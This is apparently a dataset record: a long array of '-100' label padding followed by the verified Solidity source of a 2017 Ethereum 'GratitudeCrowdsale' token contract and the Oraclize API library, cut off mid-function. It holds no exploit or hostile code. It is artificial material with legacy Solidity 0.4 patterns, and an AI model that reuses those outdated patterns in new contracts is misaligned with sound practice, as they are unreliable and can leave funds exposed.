-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xc22407b1f34e494b7f85187fafc2ce5d13871ffb
//Contract name: GratitudeCrowdsale
//Balance: 0 Ether
//Verification Date: 11/1/2017
//Transacion Count: 11
// CODE STARTS HERE
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// Standard token variables
contract TokenOfGratitude is MintableToken {
string constant public name = "Token Of Gratitude";
string constant public symbol = "ToG";
uint8 constant public decimals = 0;
uint256 public expirationDate = 1672531199;
address public goldenTicketOwner;
// Mappings for easier backchecking
mapping (address => uint) redeemed;
// ToG redeem event with encrypted message (hopefully a contact info)
event tokenRedemption(address indexed supported, string message);
// Golden ticket related events
event goldenTicketMoved(address indexed newOwner);
event goldenTicketUsed(address charlie, string message);
function TokenOfGratitude() {
goldenTicketOwner = msg.sender;
}
/**
* Function returning the current price of ToG
* @dev can be used prior to the donation as a constant function but it is mainly used in the noname function
* @param message should contain an encrypted contract info of the redeemer to setup a meeting
*/
function redeem(string message) {
// Check caller has a token
require (balances[msg.sender] >= 1);
// Check tokens did not expire
require (now <= expirationDate);
// Lock the token against further transfers
balances[msg.sender] -= 1;
redeemed[msg.sender] += 1;
// Call out
tokenRedemption(msg.sender, message);
}
/**
* Function using the Golden ticket - the current holder will be able to get the prize only based on the "goldenTicketUsed" event
* @dev First checks the GT owner, then fires the event and then changes the owner to null so GT can't be used again
* @param message should contain an encrypted contract info of the redeemer to claim the reward
*/
function useGoldenTicket(string message){
require(msg.sender == goldenTicketOwner);
goldenTicketUsed(msg.sender, message);
goldenTicketOwner = 0x0;
}
/**
* Function using the Golden ticket - the current holder will be able to get the prize only based on the "goldenTicketUsed" event
* @dev First checks the GT owner, then change the owner and fire an event about the ticket changing owner
* @dev The Golden ticket isn't a standard ERC20 token and therefore it needs special handling
* @param newOwner should be a valid address of the new owner
*/
function giveGoldenTicket(address newOwner) {
require (msg.sender == goldenTicketOwner);
goldenTicketOwner = newOwner;
goldenTicketMoved(newOwner);
}
}
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
